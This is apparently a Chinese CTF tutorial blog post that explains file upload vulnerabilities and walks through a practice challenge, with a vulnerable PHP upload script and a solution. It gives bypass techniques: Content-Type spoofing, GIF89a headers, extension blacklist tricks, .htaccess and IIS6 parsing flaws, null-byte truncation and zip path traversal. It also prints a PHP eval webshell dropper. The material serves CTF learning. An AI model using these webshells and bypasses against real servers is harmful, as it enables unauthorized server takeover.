CTF之文件上传——你知道我在你的服务器上放了什么吗

一、什么是文件上传

在网站的日常运营和内容更新中,文件上传功能扮演着不可或缺的角色。它允许管理员或用户将图片、文档、脚本等文件传输至服务器,以丰富网站内容或实现特定功能。然而,这个看似普通的功能,若缺乏严格的安全限制或限制措施被轻易绕过,便会成为攻击者入侵服务器的"特洛伊木马"。攻击者可以利用它上传可执行文件、WebShell脚本,从而逐步获取服务器的控制权,最终导致服务器沦陷,引发数据泄露、服务中断等严重后果。

导致文件上传漏洞的原因复杂多样,主要可以归纳为以下几类:

  1. 文件路径截断:服务器或应用程序在处理上传文件的路径时,未能正确识别和处理特殊字符(如空字节%00),导致攻击者可以截断路径,绕过文件后缀检查。
  2. 文件过滤不严或被绕过:服务器端对上传文件的类型、内容、MIME类型等缺乏有效校验,或校验逻辑存在缺陷,使得攻击者能够通过修改文件头、后缀名等方式轻易绕过。
  3. 文件解析漏洞导致文件执行:Web服务器(如Apache、IIS、Nginx)在解析文件时存在特定的逻辑缺陷或配置不当,导致非预期后缀的文件被当作可执行脚本处理。
  4. 服务器配置不当及系统"特性":服务器的默认配置或某些文件系统的"特性"被攻击者利用,从而绕过安全限制,实现恶意文件的上传和执行。

二、绕过方法

(一)客户端验证绕过

这是最基础也最容易被攻破的防线。许多网站为了用户体验,会使用JavaScript在客户端对上传文件的后缀名进行简单检查。然而,这种验证方式完全依赖于浏览器,是极不安全的。

攻击者可以轻易通过以下两种方法进行绕过:

  • 禁用JavaScript:在浏览器的开发者工具或设置中直接禁用JavaScript脚本的执行,即可绕过前端的文件类型检查。
  • 使用Burp Suite抓包拦截 :这是更专业和常用的方法。攻击者使用Burp Suite等代理工具拦截上传请求的数据包,然后直接修改其中的filename参数,将恶意文件的后缀(如.php)替换为允许的后缀(如.jpg),再转发数据包,即可成功上传。

(二)服务器验证绕过

修改Content-Type头

虽然这是在服务端进行的验证,但其可靠性并不高。服务器通过检查HTTP请求头中的Content-Type字段来判断文件类型。攻击者可以通过Burp Suite拦截请求,将恶意文件的Content-Type(如application/octet-stream)修改为合法的图片类型,例如image/gifimage/jpeg,从而绕过检测。更高级的技巧是,在恶意脚本文件的开头添加图片文件的"幻数",例如在PHP木马前添加GIF89a,使其在文件头校验时也能伪装成一张正常的GIF图片。

黑名单过滤

黑名单过滤是一种"堵"的策略,即列出所有不允许上传的文件后缀。然而,这种方法存在天然的缺陷:无法穷尽所有可能的可执行后缀。以一份常见的黑名单为例,它可能只禁止了.php.asp.jsp等后缀。攻击者可以尝试上传.php3.php4.phtml.cer.cdx等同样能被服务器解析执行的后缀。此外,还可以利用一些特殊技巧进行绕过,例如:

  • 大小写绕过 :在Windows系统下,.PHP.PhP.php是等效的。
  • 双写绕过 :如果服务器采用字符串替换的方式过滤,如将php替换为空,那么上传pphphp,经过一次替换后就会变成php
  • 特殊字符绕过 :在文件名末尾添加空格或点(.),如.php..php[空格],Windows系统在保存文件时会自动去除末尾的空格和点。

白名单过滤

白名单过滤是一种"疏"的策略,只允许指定的、安全的文件后缀(如.jpg.png.gif)上传。这是目前公认最安全的文件上传防御方式之一,在实战中极大地增加了攻击难度。

然而,在CTF竞赛或某些特定场景下,出题人往往会留一个文件包含的点给我们,如果网站同时存在文件包含漏洞 ,攻击者仍有一线生机。攻击者可以先将包含恶意代码的"图片马"以合法后缀(如.jpg)上传,然后利用文件包含漏洞,将这个图片文件当作PHP脚本进行包含和执行。

Apache文件解析缺陷

Apache服务器在处理文件后缀时,存在一些历史遗留的解析特性,可被攻击者利用。

  • 多后缀解析 :Apache在解析文件名时,会从右向左寻找它"认识"的后缀。例如,对于一个名为shell.php.123的文件,如果Apache不认识.123这个后缀,它会继续向前查找,直到发现.php,便会将其作为PHP脚本执行。这使得攻击者可以通过构造恶意文件.php.非法后缀的形式绕过检查。
  • .htaccess文件攻击.htaccess是Apache的分布式配置文件。如果服务器允许上传此文件,攻击者可以上传一个自定义的.htaccess文件,在其中配置规则,强制让Apache将特定后缀(如.jpg)的文件当作PHP脚本来解析。这样一来,即使上传的是图片格式,也能成功执行其中的恶意代码。

IIS6解析漏洞

老旧的IIS6.0服务器存在的解析漏洞至今仍在一些未升级的系统中构成威胁。

  • 文件名解析漏洞 :利用分号(;)进行截断。在IIS6.0中,image.asp;.jpg这样的文件名会被解析为image.asp。分号后面的内容被忽略,从而使一个看似是JPG的图片文件被当作ASP脚本执行。
  • 目录名解析漏洞 :如果攻击者能够在服务器上创建一个名为shell.asp/的目录(注意后缀是/),那么该目录下的任何文件,无论其后缀是什么(如test.jpg),都会被IIS6.0当作ASP文件来解析和执行。

三、题目练习

(一)《从0到1:CTFer成长之路》书籍配套题目

  1. 打开题目环境,发现是一个文件上传题目,下面给出的源代码如下:
php 复制代码
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');

if(!$_FILES){

        echo '

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>文件上传章节练习题</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <style type="text/css">
        .login-box{
            margin-top: 100px;
            height: 500px;
            border: 1px solid #000;
        }
        body{
            background: white;
        }
        .btn1{
            width: 200px;
        }
        .d1{
            display: block;
            height: 400px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="login-box col-md-12">
        <form class="form-horizontal" method="post" enctype="multipart/form-data" >
            <h1>文件上传章节练习题</h1>
            <hr />
            <div class="form-group">
                <label class="col-sm-2 control-label">选择文件:</label>
                <div class="input-group col-sm-10">
                    <div >
                    <label for="">
                        <input type="file" name="file" />
                    </label>
                    </div>
                </div>
            </div>
                
        <div class="col-sm-8  text-right">
            <input type="submit" class="btn btn-success text-right btn1" />
        </div>
        </form>
        </div>
    </div>
</body>
</html>
';

    show_source(__FILE__);
}else{
    $file = $_FILES['file'];

    if(!$file){
        exit("请勿上传空文件");
    }
    $name = $file['name'];

    $dir = 'upload/';
    $ext = strtolower(substr(strrchr($name, '.'), 1));
    $path = $dir.$name;

    function check_dir($dir){
        $handle = opendir($dir);
        while(($f = readdir($handle)) !== false){
            if(!in_array($f, array('.', '..'))){
                if(is_dir($dir.$f)){
                    check_dir($dir.$f.'/');
                 }else{
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
                        unlink($dir.$f);
                    }
                }
            
            }
        }
    }

    if(!is_dir($dir)){
        mkdir($dir);
    }

    $temp_dir = $dir.md5(time(). rand(1000,9999));
    if(!is_dir($temp_dir)){
        mkdir($temp_dir);
    }

    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
        if($ext == 'zip'){
            $archive = new PclZip($file['tmp_name']);
            foreach($archive->listContent() as $value){
                $filename = $value["filename"];
                if(preg_match('/\.php$/', $filename)){
                     exit("压缩包内不允许含有php文件!");
                 }
            }
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
                check_dir($dir);
                   exit("解压失败");
            }

            check_dir($dir);
            exit('上传成功!');
        }else{
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
            check_dir($dir);
            exit('上传成功!');
        }
    }else{
        exit('仅允许上传zip、jpg、gif、png文件!');
    }
}
  1. 尝试选择一个jpg文件,上传成功。

  2. 建立木马php脚本,内容如下:

php 复制代码
<?php
fputs(fopen('../hack.php','w'),'<?php @eval($_POST[a])?>');
?>
  1. 尝试上传php,提示:仅允许上传zip、jpg、gif、png文件!

  2. 那只好尝试burpsuite拦截了,打开burpsuite,选择proxy选项卡,点击open browser打开内置浏览器,输入容器地址,然后选择php文件上传,好,burpsuite已经拦截到了。

  1. 在文件名后面加上%00.jpg,即改为filename="1.php%00.jpg"

  2. 提示上传成功!,但访问提示404

  3. 换个方式来,既然代码中提到要删除不合规文件,那么我们就将文件放到其他文件目录下,先将php改名为123456789.php.jpg,压缩到zip文件中,方便后续修改。

  4. 使用二进制编辑器,例如ghex工具,打开zip文件,将其中最后一行的123456789改为/../../89

  5. 上传文件,提示上传成功

  6. 访问文件,即域名/89.php.jpg,得到flag为n1book{ThisIsUpLoadToPicfl4g}

相关推荐
SelectDB1 小时前
Litefuse 开源并推出单进程轻量模式,25 秒就能跑起来的 Agent 可观测与评估平台
运维·后端·自动化运维
zzzzzz3101 天前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
XIAOHEZIcode1 天前
Linux系统鼠标偏移常见原因以及修复方案
linux·运维·游戏
用户0328472220702 天前
如何搭建本地yum源(上)
运维
大树885 天前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
摇滚侠5 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
霸道流氓气质5 天前
领域驱动设计(DDD)在 Spring Boot 微服务中的实践指南
运维·spring boot·微服务
小宇宙Zz5 天前
Maven依赖冲突
java·服务器·maven
Inhand陈工5 天前
基于台达PLC与映翰通IG502的智慧水产养殖精准投喂与远程运维解决方案
运维·人工智能·物联网·阿里云·信息与通信
酣大智5 天前
ARP代理--工作原理
运维·网络·arp·arp代理